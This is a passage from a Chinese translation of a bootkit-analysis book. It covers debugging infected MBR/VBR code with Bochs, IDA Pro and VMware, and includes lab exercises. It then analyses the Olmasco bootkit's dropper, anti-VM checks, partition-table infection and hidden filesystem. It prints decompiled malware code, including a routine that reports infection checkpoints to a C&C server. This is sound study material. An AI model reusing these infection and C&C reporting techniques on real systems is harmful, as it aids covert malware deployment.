接下来,我们需要将 VBR 和 IPL 写入磁盘镜像。确保你从 nostarch.com/rootkits/ 下载并保存 partition0.data 代码。我们需要将这些模块写入 表 9-1 中指定的偏移量 ➊,该偏移量对应于活动分区的起始偏移。

将 VBR 和 IPL 写入磁盘镜像

要将 VBR 和 IPL 写入磁盘镜像,将 清单 9-3 中的代码复制到文本编辑器中,并将其保存为 Python 脚本。

# read VBR and IPL from file

vbr_file = open("path_to_vbr_file", "rb") ➊

vbr = vbr_file.read()

vbr_file.close()

# write VBR and IPL at the offset 0x2000

disk_image_file = open("path_to_disk_image", "r+b") ➋

disk_image_file.seek(0x10 * 0x200)

disk_image_file.write(vbr)

disk_image_file.close()

清单 9-3:将 VBR 和 IPL 写入磁盘镜像

再次,与 清单 9-2 相同,在运行脚本之前,将 path_to_vbr_file ➊ 替换为包含 VBR 的文件路径,将 path_to_disk_image ➋ 替换为镜像位置。

执行脚本后,我们就有了一个可以在 Bochs 中调试的磁盘镜像。我们已经成功地将恶意 MBR 和 VBR/IPL 写入了镜像,并可以在 Bochs 调试器中分析它们。

使用 Bochs 内部调试器

Bochs 调试器是一个独立的应用程序,bochsdbg.exe,具有命令行界面。我们可以使用 Bochs 调试器支持的功能——例如断点、内存操作、跟踪和代码反汇编——来检查启动代码中的恶意活动或解密多态 MBR 代码。要开始调试会话,请从命令行调用 bochsdbg.exe 应用程序,并指定 Bochs 配置文件 bochsrc.bxrc 的路径,如下所示:

bochsdbg.exe -q -f bochsrc.bxrc

该命令启动虚拟机并打开调试控制台。首先,在启动代码的开头设置一个断点,使得调试器在执行 MBR 代码时停下来,从而给我们提供机会分析代码。第一个 MBR 指令位于地址 0x7c00,因此输入命令 lb 0x7c00,将断点设置在指令的开头。要开始执行,我们使用 c 命令,如 图 9-2 所示。要查看当前地址处的反汇编指令,我们使用 u 调试命令;例如,图 9-2 显示了使用命令 u /10 获得的前 10 条反汇编指令。

image

图 9-2:命令行 Bochs 调试器界面

你可以通过输入help或者访问文档 bochs.sourceforge.net/doc/docbook/user/internal-debugger.html 来获取完整的调试器命令列表。以下是一些更常用的命令:

c 继续执行。

s [count] 执行 count 次指令(步进);默认值为 1

q 退出调试器并停止执行。

CTRL-C 停止执行并返回到命令行提示符。

lb addr 设置线性地址指令断点。

info break 显示所有当前断点的状态。

bpe n 启用断点。

bpd n 禁用断点。

del n 删除断点。

尽管我们可以单独使用 Bochs 调试器进行基本的动态分析,但将其与 IDA 结合使用时,我们能做的更多,主要是因为 IDA 中的代码导航功能比批处理模式调试更强大。在 IDA 会话中,我们还可以继续对创建的 IDA Pro 数据库文件进行静态分析,并使用反编译器等功能。

将 Bochs 与 IDA 结合使用

现在我们已经准备好感染的磁盘镜像,将启动 Bochs 并开始仿真。从版本 5.4 开始,IDA Pro 提供了 DBG 调试器的前端,我们可以与 Bochs 一起使用它来调试来宾操作系统。要在 IDA Pro 中启动 Bochs 调试器,打开 IDA Pro,然后转到 调试器运行本地 Bochs 调试器

将会打开一个对话框,询问一些选项,如 图 9-3 所示。在应用程序字段中,指定你之前创建的 Bochs 配置文件的路径。

image

图 9-3:指定 Bochs 配置文件的路径

接下来,我们需要设置一些选项。点击 调试选项,然后进入 设置特定选项。你会看到一个对话框,如图 9-4 所示,提供了三种 Bochs 操作模式的选项:

磁盘镜像 启动 Bochs 并执行磁盘镜像。

IDB 模拟 Bochs 中选定部分的代码。

PE 加载并在 Bochs 中仿真 PE 镜像。

image

图 9-4:为 Bochs 选择操作模式

对于我们的情况,我们选择 磁盘镜像 ➊,让 Bochs 加载并执行我们之前创建并感染的磁盘镜像。

接下来,IDA Pro 会使用我们指定的参数启动 Bochs,并且由于我们之前设置了断点,它将在 MBR 的第一个指令执行时(地址 0000:7c00h)触发中断。然后,我们可以使用标准的 IDA Pro 调试器界面来调试引导组件(见图 9-5)。

image

图 9-5:在 Bochs 虚拟机中从 IDA 界面调试 MBR

在图 9-5 中呈现的界面比 Bochs 调试器提供的命令行界面(如图 9-2 所示)更为用户友好。你可以在一个窗口中看到引导代码的反汇编 ➊、CPU 寄存器的内容 ➋、内存转储 ➌ 和 CPU 堆栈 ➍。这大大简化了引导代码调试的过程。

使用 VMware Workstation 虚拟化

IDA Pro 和 Bochs 是进行引导代码分析的强大组合。但是,有时使用 Bochs 调试操作系统引导过程不稳定,并且仿真技术存在一些性能限制。例如,进行恶意软件的深入分析需要你创建一个预安装操作系统的磁盘镜像。由于仿真的特性,这一步骤可能会非常耗时。Bochs 还缺少一个方便的系统来管理仿真环境的快照,而这一功能在恶意软件分析中是不可或缺的。

对于更稳定和高效的调试,我们可以使用 VMware 的内部 GDB 调试接口与 IDA 结合使用。在这一部分,我们介绍 VMware GDB 调试器,并演示如何设置调试会话。接下来的几章将讨论调试 Microsoft Windows 引导加载程序的具体方法,重点讲解 MBR 和 VBR 启动工具包。我们还将从调试的角度看如何从实模式切换到保护模式。

VMware Workstation 是一个强大的工具,用于复制操作系统和环境。它允许我们创建具有客户操作系统的虚拟机,并在与主操作系统相同的机器上运行它们。客户操作系统和主操作系统将互不干扰,就像它们运行在两台不同的物理机器上一样。这对于调试非常有用,因为它使得在同一主机上运行两个程序——调试器和被调试的应用程序——变得容易。在这方面,VMware Workstation 与 Bochs 非常相似,区别在于后者模拟 CPU 指令,而 VMware Workstation 则在物理 CPU 上执行这些指令。因此,虚拟机中执行的代码比在 Bochs 中执行的要快。

最近版本的 VMware Workstation(6.5 版本及之后的版本)包括一个 GDB 存根,用于调试在 VMware 中运行的虚拟机。这使我们能够从虚拟机执行的最开始阶段进行调试,甚至在 BIOS 执行 MBR 代码之前就可以开始调试。从 5.4 版本开始,IDA Pro 包括一个调试模块,支持 GDB 调试协议,我们可以与 VMware 一起使用它。

在编写本章内容时,VMware Workstation 有两个版本可供选择:专业版(商业版)和 Workstation Player(免费版)。专业版提供扩展功能,包括创建和编辑虚拟机的能力,而 Workstation Player 仅允许用户运行虚拟机或修改其配置。但两个版本都包括 GDB 调试器,我们可以使用这两者进行引导程序分析。本章中,我们将使用专业版,这样我们就可以创建虚拟机。

注意

在你开始使用 VMware GDB 调试器之前,需要使用 VMware Workstation 创建一个虚拟机实例,并在其上预先安装操作系统。创建虚拟机的过程超出了本章的讨论范围,但你可以在文档中找到所有必要的信息,文档地址为 www.vmware.com/pdf/desktop/ws90-using.pdf

配置 VMware Workstation

一旦你创建了虚拟机,VMware Workstation 会将虚拟机镜像和配置文件放置在用户指定的目录中,我们将其称为虚拟机的目录。

要使 VMware 与 GDB 一起工作,首先需要在虚拟机的配置文件中指定某些配置选项,配置文件如 列表 9-4 所示。虚拟机的配置文件是一个文本文件,扩展名为 .vmx,它位于虚拟机的目录中。用你喜欢的文本编辑器打开该文件,并复制 列表 9-4 中的参数。

➊ debugStub.listen.guest32 = "TRUE"

➋ debugStub.hideBreakpoints= "TRUE"

➌ monitor.debugOnStartGuest32 = "TRUE"

列表 9-4:在虚拟机中启用 GDB 存根

第一个选项 ➊ 允许从本地主机进行来宾调试。它启用了 VMware GDB 存根,允许我们将支持 GDB 协议的调试器附加到被调试的虚拟机。如果我们的调试器和虚拟机运行在不同的机器上,则需要启用远程调试,命令为debugStub.listen.guest32.remote

第二个选项 ➋ 启用使用硬件断点而不是软件断点。硬件断点使用 CPU 调试设施——即调试寄存器dr0dr7——而实现软件断点通常涉及执行int 3指令。在恶意软件调试的上下文中,这意味着硬件断点更具韧性,更难以被检测到。

最后一个选项 ➌ 指示 GDB 在 CPU 执行第一条指令时中断调试器——即虚拟机启动后立即中断。如果跳过此配置选项,VMware Workstation 将开始执行启动代码,而不会在其上中断,因此我们将无法调试它。

32 位或 64 位调试

选项debugStub.listen.guest32debugStub.debugOnStartGuest32中的后缀 32 表示正在调试 32 位代码。如果需要调试 64 位操作系统,可以使用debugStub.listen.guest64debugStub.debugOnStartGuest64选项。然而,对于以 16 位实模式运行的预启动代码(MBR/VBR),32 位或 64 位选项均可使用。

将 VMware GDB 与 IDA 结合使用

配置完虚拟机后,我们可以继续启动调试会话。首先,在 VMware Workstation 中启动虚拟机,转到菜单并选择虚拟机电源打开电源

接下来,我们将运行 IDA Pro 调试器并附加到虚拟机。选择调试器并转到附加远程 GDB 调试器

现在我们需要配置调试选项。首先,我们指定目标的主机名和端口。由于我们在同一主机上运行虚拟机,因此将主机名指定为 localhost(如图 9-6 所示),端口号为 8832。这是当我们在虚拟机配置文件中使用debugStub.listen.guest32时,GDB 存根将监听的端口(如果我们在配置文件中使用debugStub.listen.guest64,则端口号为8864)。其余调试参数可以保留默认值。

image

图 9-6:指定 GDB 参数

所有选项设置完毕后,IDA Pro 会尝试附加到目标,并建议一个可以附加的进程列表。由于我们已经开始调试预启动组件,应该选择<附加到目标上启动的进程>,如图 9-7 所示。

image

图 9-7:选择目标进程

此时,IDA Pro 会附加到虚拟机并在执行第一条指令时中断。

配置内存段

在继续之前,我们需要更改调试器为我们创建的内存段的类型。当我们开始调试会话时,IDA Pro 创建了一个 32 位的内存段,如图 9-8 所示。

image

图 9-8:IDA Pro 中内存段的参数

在预启动环境中,CPU 以实模式运行,因此为了正确地反汇编代码,我们需要将该段从 32 位更改为 16 位。为此,右键单击目标段并选择 更改段属性。在出现的对话框中,在段位数面板中选择 16 位 ➊,如图 9-9 所示。

image

图 9-9:更改内存段的位数

这将使该段变为 16 位,启动组件中的所有指令将会被正确地反汇编。

运行调试器

设置好所有正确的选项后,我们可以继续进行 MBR 加载。由于调试器在执行开始时就已附加到虚拟机,因此 MBR 代码尚未加载。为了加载 MBR 代码,我们在代码开始处的地址 0000:7c00h 设置断点,然后继续执行。要设置断点,进入反汇编窗口中的地址 0000:7c00h,然后按 F2。这将显示带有断点参数的对话框(见图 9-10)。

Location 文本框 ➊ 指定将设置断点的地址:0x7c00,对应虚拟地址 0000:7c00h。在设置区域 ➋,我们选择启用和硬件复选框选项。选中启用框表示断点处于激活状态,一旦执行流程到达 Location 文本框中指定的地址,断点就会被触发。选中硬件框表示调试器将使用 CPU 的调试寄存器来设置断点,并且它还会激活硬件断点模式选项 ➌,该选项指定断点的类型。在我们的情况下,我们选择执行来为地址 0000:7c00h 设置一个执行指令的断点。其他类型的硬件断点用于在指定位置读取和写入内存,但在此不需要。Size 下拉菜单 ➍ 指定了控制的内存大小。我们可以保留默认值 1,表示断点将仅控制地址 0000:7c00h 处的 1 字节内存。设置完这些参数后,点击 确定,然后按 F9 继续执行。

image

图 9-10:断点设置对话框

一旦 MBR 加载并执行,调试器会中断。调试器窗口如图 9-11 所示。

image

图 9-11:IDA Pro 调试器界面

到目前为止,我们已经来到了 MBR 代码的第一条指令,指令指针寄存器➊指向 0000:7c00h。我们可以在内存转储窗口和反汇编中看到 MBR 已经成功加载。从这里开始,我们可以继续调试 MBR 代码,逐步执行每条指令。

注意

本节的目的是简单地向你介绍使用 VMware Workstation GDB 调试器与 IDA Pro 结合的可能性,因此我们不会在本章中深入探讨如何使用 GDB 调试器。你将在接下来的几章中找到更多关于它的使用信息,特别是在分析 Rovnix 引导工具包时。

Microsoft Hyper-V 和 Oracle VirtualBox

本章没有涉及 Hyper-V 虚拟机管理器,它是微软自 Windows 8 以来的客户端操作系统的一部分,也没有涉及 VirtualBox 开源虚拟机管理器(VMM)。这是因为在撰写本书时,两个程序都没有提供足够早的调试接口,无法满足引导代码恶意软件分析的要求。

在本书发布时,微软的 Hyper-V 是唯一能够支持启用安全启动的虚拟机的虚拟化软件,这可能是没有为启动过程早期阶段提供调试接口的原因之一。我们将在第十七章中深入探讨安全启动技术及其漏洞。我们在这里提到这两个程序,是因为它们在恶意软件分析中被广泛使用,但它们缺乏早期启动过程的调试接口,这是我们偏好使用 VMware Workstation 进行恶意引导代码调试的主要原因。

结论

在本章中,我们演示了如何使用 Bochs 模拟器和 VMware Workstation 调试引导工具包的 MBR 和 VBR 代码。这些动态分析技巧对于深入了解恶意引导代码时非常有用,补充了你在静态分析中可能使用的方法,帮助回答静态分析无法解答的问题。

我们将在第十一章中再次使用这些工具和方法来分析 Rovnix 引导工具包,其架构和功能过于复杂,以至于静态分析方法无法有效。

练习

我们为你提供了一系列练习,供你测试本章所学的技能。你将从一个 MBR、一个 VBR/IPL 和一个新技术文件系统(NTFS)分区构建一个 PC 的 Bochs 镜像,然后使用 IDA Pro 的 Bochs 前端进行动态分析。首先,你需要在* nostarch.com/rootkits/* 下载以下资源。

mbr.mbr 一个包含 MBR 的二进制文件

partition0.data 一个 NTFS 分区镜像,包含 VBR 和 IPL

bochs.bochsrc Bochs 配置文件

你还需要 IDA Pro 反汇编器、Python 解释器和 Bochs 模拟器。使用这些工具和本章中涵盖的信息,你应该能够完成以下练习:

  1. 创建 Bochs 镜像并调整提供的模板配置文件bochs.bochsrc中的值,使其匹配清单 9-1。使用“创建磁盘镜像”中描述的bximage工具,在第 118 页上创建一个 10MB 的扁平镜像。然后将镜像存储在文件中。

  2. 编辑模板配置文件中的ata0-master选项,以使用练习 1 中的镜像。使用清单 9-1 中提供的参数。

  3. 准备好 Bochs 镜像后,将 MBR 和 VBR 启动工具组件写入镜像中。首先,在 IDA Pro 中打开mbr.mbr文件并进行分析。观察到 MBR 的代码是加密的。定位解密例程并描述其算法。

  4. 分析 MBR 的分区表并尝试回答以下问题:有多少个分区?哪个是活动分区?该活动分区在硬盘的哪个位置?它从硬盘开始的位置偏移是多少,它的大小是多少扇区?

  5. 定位到活动分区后,使用清单 9-2 中的 Python 脚本将mbr.mbr文件写入 Bochs 镜像。使用清单 9-3 中的 Python 脚本将partition0.data文件写入 Bochs 镜像,并放置在上一个练习中找到的偏移位置。完成此任务后,你将拥有一个感染了的 Bochs 镜像,准备好进行模拟。

  6. 使用新编辑的bochs.bochsrc配置启动 Bochs 模拟器,并使用第 123 页上描述的 IDA Pro 前端,在“将 Bochs 与 IDA 结合使用”中启动。IDA Pro 调试器应该在执行时触发断点。设置断点在地址 0000:7c00h 处,该地址对应 MBR 代码将被加载的位置。

  7. 当命中地址 0000:7c00h 处的断点时,检查 MBR 的代码是否仍然是加密的。设置早前识别出的解密例程的断点并恢复执行。当解密例程的断点被触发时,追踪它直到所有 MBR 代码完全解密。将解密后的 MBR 转储到文件中,以便进一步的静态分析。(有关 MBR 静态分析技术,请参阅第八章)。

第十章:MBR 和 VBR 感染技术的演变:OLMASCO**

Image

为应对第一波引导程序的攻击,安全开发人员开始着手开发专门检查 MBR 代码是否被修改的杀毒产品,迫使攻击者寻找其他感染技术。2011 年初,TDL4 家族演变成了新的恶意软件,采用了以前从未见过的感染手段。其中一个例子是 Olmasco,它在很大程度上基于 TDL4,但有一个关键区别:Olmasco 感染 MBR 的分区表,而不是 MBR 代码,使其能够感染系统并绕过内核模式代码签名策略,同时避开越来越智能的反恶意软件的检测。

Olmasco 也是首个已知的引导程序,它结合了 MBR 和 VBR 感染方法,尽管它仍然主要针对 MBR,这使得它与感染 VBR 的引导程序(例如 Rovnix 和 Carberp,稍后我们将在第十一章讨论)有所不同。

与其前辈 TDL 一样,Olmasco 使用 PPI 商业模式进行分发,这一模式在我们讨论第一章的 TDL3 Rootkit 时已经熟悉。PPI 模式类似于用于分发浏览器工具栏(如谷歌工具栏)的方案,并使用嵌入的唯一标识符(UID)允许分发商追踪安装次数,从而获得收入。分发商的信息嵌入到可执行文件中,特殊服务器计算安装次数。分发商根据安装次数支付固定金额的报酬。^(1)

在这一章中,我们将关注 Olmasco 的三个主要方面:感染系统的投放程序;感染 MBR 分区表的引导程序组件;以及挂钩硬盘驱动程序、传送有效载荷、利用隐藏文件系统并实现网络通信重定向功能的 Rootkit 部分。

投放程序

投放程序是一种特殊的恶意应用程序,充当其他恶意软件的载体,该恶意软件以加密有效载荷的形式存储。投放程序到达受害者计算机后,会解压并执行有效载荷——在我们这个例子中,就是 Olmasco 感染程序——进而安装并执行引导程序组件。投放程序通常还会实现一系列反调试和反仿真检查,这些检查在有效载荷解压前执行,以规避自动化恶意软件分析系统,稍后我们将看到这一点。

投放程序与下载器

另一种常见的恶意应用程序类型是下载器。顾名思义,下载器从远程服务器下载有效载荷,而不是通过携带有效载荷的方式使用投放程序方法。实际上,投放程序这个术语更为常见,通常被用作下载器的同义词。

投放程序资源

投放器具有模块化结构,并将大部分引导工具的恶意组件存储在其 资源 部分。每个组件(例如标识符值、引导加载程序组件或有效载荷)都存储在一个单独的资源条目中,并使用 RC4 加密(更多详情请参见 “RC4 流密码” 第 136 页)。资源条目的大小用作解密密钥。表 10-1 列出了投放器资源部分中的引导工具组件。

表 10-1: Olmasco 投放器中的引导工具组件

资源名称 描述
affid 唯一的联盟标识符。
subid 联盟的子标识符。它与联盟 ID 关联,一个联盟可以有多个子标识符。
boot 恶意引导加载程序的第一部分。它在启动过程开始时执行。
cmd32 适用于 32 位进程的用户模式有效载荷。
cmd64 适用于 64 位进程的用户模式有效载荷。
dbg32 恶意引导加载程序组件的第三部分(伪 kdcom.dll 库),适用于 32 位系统。
dbg64 恶意引导加载程序组件的第三部分(伪 kdcom.dll 库),适用于 64 位系统。
drv32 适用于 32 位系统的恶意内核模式驱动程序。
drv64 适用于 64 位系统的恶意内核模式驱动程序。
ldr32 恶意引导加载程序的第二部分。它由 32 位系统上的 boot 组件执行。
ldr64 恶意引导加载程序的第二部分。它由 64 位系统上的 boot 组件执行。
main 未知。
build 投放器的构建号。
name 投放器的名称。
vbr 恶意 Olmasco 分区在硬盘上的 VBR。

affidsubid 标识符在 PPI 方案中用于计算安装次数。参数 affid 是联盟的唯一标识符(即分发者)。参数 subid 是区分不同来源安装的子标识符。例如,如果 PPI 计划的联盟从两个不同的文件托管服务分发恶意软件,那么来自这些来源的恶意软件将具有相同的 affid 但不同的 subid。这样,联盟可以比较每个 subid 的安装数量,从而确定哪个来源更有利可图。

我们将很快讨论引导工具组件 bootvbrdbg32dbg64drv32drv64ldr32ldr64,但 mainbuildname 仅在表中描述。

RC4 流密码

RC4 是一种由 RSA Security 的 Ron Rivest 于 1987 年开发的流密码。RC4 使用可变长度的密钥,并生成用于加密明文的伪随机字节流。由于其紧凑和简单的实现方式,这种加密算法在恶意软件开发者中越来越受欢迎。因此,许多 rootkit 和 bootkit 都使用 RC4 来保护有效负载、与命令与控制(C&C)服务器的通信以及配置文件信息。

未来开发的追踪功能

Olmasco dropper 引入了错误报告功能,以帮助开发者进行进一步开发。在成功执行每个感染步骤后(即 bootkit 安装算法中的每个步骤),bootkit 会向 C&C 服务器报告一个“检查点”。这意味着如果安装失败,开发者可以准确地确定失败发生在哪个步骤。如果发生错误,bootkit 会发送一条额外的综合错误消息,提供足够的信息以便开发者确定故障源。

追踪信息通过 HTTP 的GET方法发送到一个 C&C 服务器,其域名硬编码在 dropper 中。清单 10-1 显示了通过 Hex-Rays 反编译的 Olmasco 感染程序,该程序生成一个查询字符串来报告感染的状态信息。

HINTERNET __cdecl ReportCheckPoint(int check_point_code){

  char query_string[0x104];

  memset(&query_string, 0, 0x104u);

➊ _snprintf(

    &query_string,

    0x104u,

    "/testadd.php?aid=%s&sid=%s&bid=%s&mode=%s%u%s%s",

    *FILE_affid,

    *FILE_subid,

    &bid,

    "check_point",

    check_point_code,

    &bid,

    &bid);

➋ return SendDataToServer(0, &query_string, "GET", 0, 0);

}

清单 10-1:向 C&C 服务器发送追踪信息

在➊,恶意软件执行一个_snprintf例程,以生成包含 dropper 参数的查询字符串。在➋,它发送请求。check_point_code的值对应于安装算法中发送消息的步骤的序号。例如,1 对应算法中的第一步,2 对应第二步,依此类推。在成功安装的最后,C&C 服务器会接收到类似 1, 2, 3, 4, . . . N的数字序列,其中N是最后一步。如果完整安装失败,C&C 服务器将接收到序列 1, 2, 3, . . . P,其中P是算法失败的步骤。这使得恶意软件开发者能够识别并修复感染算法中的故障步骤。

反调试和反仿真技巧

Olmasco 还引入了一些新的技巧,用于绕过沙箱分析以及保护免受内存转储攻击。dropper 使用自定义打包工具进行压缩,执行后会解压缩原始的未压缩 dropper,并清除其 PE 头部中的某些字段,例如原始入口点地址和节表。图 10-1 显示了数据删除前后 PE 头部的情况。左侧的 PE 头部部分被破坏,右侧未被修改。

image

图 10-1:擦除 PE 头部数据

这个技巧能有效防止在调试会话或自动解包过程中进行内存转储。删除有效的 PE 头使得很难确定 PE 文件的几何结构并正确地进行转储,因为转储软件无法找到代码和数据部分的确切位置。没有这些信息,转储软件无法正确重建 PE 镜像并会失败。

Olmasco 还包括针对基于虚拟机的机器人跟踪器的对策。在安装过程中,Olmasco 通过Windows 管理工具(WMI) IWbemServices 接口检测投放器是否在虚拟环境中运行,并将此信息发送到 C&C 服务器。如果检测到虚拟环境,投放器会停止执行并从文件系统中删除自己(而不是解包恶意二进制文件并暴露给分析工具)。

注意

Microsoft WMI 是 Windows 平台上提供的一组接口,用于数据和操作管理。其主要用途之一是自动化远程计算机的管理任务。从恶意软件的角度来看,WMI 提供了一套丰富的组件对象模型(COM)对象,恶意软件可以利用这些对象收集有关系统的全面信息,如平台信息、运行中的进程和使用中的安全软件。

恶意软件还使用 WMI 来收集有关目标系统的以下信息:

计算机 系统名称、用户名、域名、用户工作组、处理器数量等

处理器 核心数、处理器名称、数据宽度和逻辑处理器数量

SCSI 控制器 名称和制造商

IDE 控制器 名称和制造商

磁盘驱动器 名称、型号和接口类型

BIOS 名称和制造商

操作系统 主要和次要版本、服务包号等

恶意软件操作者可以利用这些信息检查被感染系统的硬件配置,并确定其是否对他们有用。例如,他们可以使用 BIOS 名称和制造商来检测虚拟环境(如 VMware、VirtualBox、Bochs 或 QEMU),这些虚拟环境常用于自动化恶意软件分析环境,因此对恶意软件操作者没有兴趣。

另一方面,它们可以使用系统名称和域名来识别拥有被感染机器的公司。利用这些信息,它们可以部署专门针对该公司的定制负载。

Bootkit 功能

一旦沙箱检查完成,投放器会继续将 bootkit 组件安装到系统中。Olmasco 的 bootkit 组件已从 TDL4 bootkit 进行了修改(如第七章所讨论的,TDL4 会覆盖 MBR 并在可引导硬盘的末尾保留空间,用于存储其恶意组件),尽管 Olmasco 采用了一个相当不同的方式来感染系统。

Bootkit 感染技术

首先,Olmasco 会在可启动硬盘的末尾创建一个分区。Windows 硬盘上的分区表总是包含一些未分配的空间,并且通常这些空间足以容纳启动工具的组件——有时甚至更多。恶意软件通过占用这些未分配的空间并修改原始合法 MBR 的空闲分区表项,将其指向新创建的恶意分区,从而创建一个恶意分区。奇怪的是,这个新创建的恶意分区的大小被限制为 50GB,无论未分配空间有多大。一种可能的解释是,限制分区大小是为了避免通过占用所有可用的未分配空间引起用户的注意。

如我们在 第五章 中讨论的那样,MBR 分区表位于 MBR 起始处的偏移 0x1BE 位置,由四个 16 字节的条目组成,每个条目描述硬盘上的一个对应分区。硬盘上最多可以有四个主分区,而且只能标记一个分区为活动分区,因此启动工具只能从一个分区启动。恶意软件将分区表中第一个空白条目覆盖为恶意分区的参数,并将其标记为活动分区,初始化新创建分区的 VBR,如 列表 10-2 所示。

First partition                     00212000    0C13DF07    00000800    00032000

Second partition (OS)               0C14DF00    FFFFFE07    00032800    00FCC800

Third partition (Olmasco), Active   FFFFFE80    FFFFFE1B  ➊00FFF000  ➋00000FB0

Fourth partition (empty)            00000000    00000000    00000000    00000000

列表 10-2:Olmasco 感染后的分区表

在这里,你可以看到恶意分区的起始地址 ➊ 和大小(以扇区为单位) ➋。如果 Olmasco 启动工具发现分区表中没有空闲项,它会向 C&C 服务器报告,并终止操作。图 10-2 显示了系统感染 Olmasco 后分区表的变化。

image

图 10-2:Olmasco 感染前后的硬盘布局

感染后,之前为空的分区表项会连接到 Olmasco 分区,并成为活动分区项。你可以看到,MBR 代码本身保持不变,唯一受到影响的是 MBR 分区表。为了增加隐蔽性,Olmasco 分区表的第一个扇区也与合法的 VBR 非常相似,这意味着安全软件可能会误认为 Olmasco 的分区是硬盘上的合法分区。

感染系统的启动过程

一旦系统感染了 Olmasco,它将按相应方式启动。感染机器的启动过程如 图 10-3 所示。

image

图 10-3:Olmasco 感染系统的启动过程

当被感染的机器下次启动时,Olmasco 分区的恶意 VBR ➋ 获得控制权,在 MBR 代码执行 ➊ 之后,操作系统引导加载程序组件加载之前。这样,恶意软件可以在操作系统之前获得控制。当恶意 VBR 获得控制时,它从 Olmasco 隐藏文件系统的根目录读取 boot 文件 ➌ 并将控制权转交给它。这个 boot 组件与 TDL4 早期版本中的 ldr16 模块作用相同:它钩住 BIOS 中断 13h 处理程序 ➍ 来修补引导配置数据(BCD) ➎,并加载原来活动分区的 VBR。

从概念上讲,Olmasco 和 TDL4 的引导过程非常相似,组件基本相同,只是 Olmasco 对隐藏文件系统组件使用了不同的名称,如 表 10-2 所列。TDL4 的引导过程在 第七章 中有详细介绍。

表 10-2: Olmasco 与 TDL4 的引导组件对比

Olmasco TDL4
boot ldr16
dbg32, dbg64 ldr32, ldr64

Rootkit 功能

一旦加载了恶意的内核模式驱动程序(➏,见 图 10-4),引导程序的工作就完成了,这个驱动程序实现了 Olmasco 的 rootkit 功能。Olmasco 的 rootkit 部分负责以下内容:

  • 钩住硬盘设备对象

  • 将有效载荷从隐藏文件系统注入到进程中

  • 维护隐藏文件系统

  • 实现传输驱动接口(TDI)以重定向网络通信

钩住硬盘设备对象并注入有效载荷

列表中的前两个元素本质上与 TDL4 中相同:Olmasco 使用相同的技术来钩住硬盘设备对象,并将有效载荷从隐藏文件系统注入到进程中。钩住硬盘设备对象有助于防止安全软件恢复原始 MBR 的内容,从而使 Olmasco 在重启后仍能保持存在。Olmasco 拦截所有对硬盘的读写请求,并阻止那些试图修改 MBR 或读取隐藏文件系统内容的请求。

维护隐藏文件系统

隐藏文件系统是复杂威胁(如 rootkit 和 bootkit)中的一个重要特性,因为它提供了一个隐秘的通道,用于在受害者计算机上存储信息。传统的恶意软件依赖操作系统文件系统(NTFS、FAT32、extX 等)来存储其组件,但这使得它容易受到取证分析或安全软件的检测。为了解决这个问题,一些高级恶意软件实现了自己的自定义文件系统,并将其存储在硬盘的未分配区域中。在绝大多数现代配置中,硬盘的末尾至少有几百兆字节的未分配空间,足以存储恶意组件和配置信息。通过这种方式,存储在隐藏文件系统中的文件无法通过常规的 API(如 Win32 API CreateFileXReadFileX 等)访问,但恶意软件仍然能够通过特殊接口与隐藏存储进行通信并访问其中存储的数据。恶意软件通常还会加密隐藏文件系统的内容,以进一步阻碍取证分析。

图 10-4 显示了一个隐藏文件系统的示例。可以看到,它位于操作系统文件系统之后,并且不会干扰正常的操作系统操作。

image

图 10-4:硬盘上的隐藏文件系统

Olmasco 存储载荷模块在隐藏文件系统中的方法几乎完全继承自 TDL4:它在硬盘的末尾保留空间来存放其文件系统,文件系统的内容通过低级挂钩和 RC4 流密码进行保护。然而,Olmasco 的开发人员扩展了隐藏文件系统的设计和实现,并添加了可以支持文件和文件夹层次结构、验证文件完整性以检查其是否损坏、以及更好地管理内部文件系统结构的增强功能。

文件夹层次结构支持

与 TDL4 的隐藏文件系统只能存储文件不同,Olmasco 的隐藏文件系统可以存储文件和目录。根目录用通常的反斜杠(\)表示。例如,清单 10-3 显示了 Olmasco 隐藏分区中 VBR 的片段,该片段通过 \boot ➊ 从根目录加载名为 boot 的文件。

seg000:01F4                 hlt

seg000:01F4 sub_195         endp

seg000:01F5                 jmp     short loc_1F4

seg000:01F7 aBoot         ➊ db '\boot',0

seg000:01FD                 db    0

清单 10-3:Olmasco 分区的 VBR 片段

完整性验证

在从文件系统读取文件时,Olmasco 会检查内容是否损坏。这个功能在 TDL4 中并不明显。Olmasco 在每个文件的数据结构中引入了一个额外的字段,用于存储文件内容的 CRC32 校验和值。如果 Olmasco 检测到损坏,它会从文件系统中移除对应的条目,并释放那些被占用的扇区,如清单 10-4 所示。

unsigned int stdcall RkFsLoadFile(FS_DATA_STRUCT *a1, PDEVICE_OBJECT

  DeviceObject, const char *FileName, FS_LIST_ENTRY_STRUCT *FileEntry)

{

  unsigned int result;

  // locate file in the root dir

➊ result = RkFsLocateFileInDir(&a1->root_dir, FileName, FileEntry);

  if ( (result & 0xC0000000) != 0xC0000000 ) {

    // read the file from the hard drive

  ➋ result = RkFsReadFile(a1, DeviceObject, FileEntry);

    if ( (result & 0xC0000000) != 0xC0000000 ) {

      // verify file integrity

    ➌ result = RkFsCheckFileCRC32(FileEntry);

      if ( result == 0xC000003F ) {

        // free occupied sectors

      ➍ MarkBadSectorsAsFree(a1, FileEntry->pFileEntry);

        // remove corresponding entry

        RkFsRemoveFile(a1, &a1->root_dir, FileEntry->pFileEntry->FileName);

        RkFsFreeFileBuffer(FileEntry);

        // update directory

        RkFsStoreFile(a1, DeviceObject, &a1->root_dir);

        RkFsStoreFile(a1, DeviceObject, &a1->bad_file);

        // update bitmap of occupied sectors

        RkFsStoreFile(a1, DeviceObject, &a1->bitmap_file);

        // update root directory

        RkFsStoreFile(a1, DeviceObject, &a1->root);

        result = 0xC000003F;

      }

    }

  }

  return result;

}

清单 10-4:从 Olmasco 的隐藏文件系统读取文件

RkFsLocateFileInDir ➊ 例程定位目录中的文件,读取其内容 ➋,然后计算文件的 CRC32 校验和,并与文件系统中存储的值进行比较 ➌。如果值不匹配,例程将删除这些文件,并释放由损坏文件占用的扇区 ➍。这使得隐藏的文件系统更加健壮,根工具包更加稳定,减少了加载和执行损坏文件的可能性。

文件系统管理

Olmasco 实现的文件系统比 TDL4 实现的文件系统更加成熟,因此在空闲空间使用和数据结构操作方面需要更高效的管理。引入了两个特殊文件,\(bad* 和 *\)bitmap,来支持文件系统内容的管理。

\(bitmap* 文件包含隐藏文件系统中空闲扇区的位图。该位图是一个位数组,每个位对应文件系统中的一个扇区。当某个位被设置为 `1` 时,表示对应的扇区已被占用。使用 *\)bitmap 有助于在文件系统中找到存储新文件的位置。

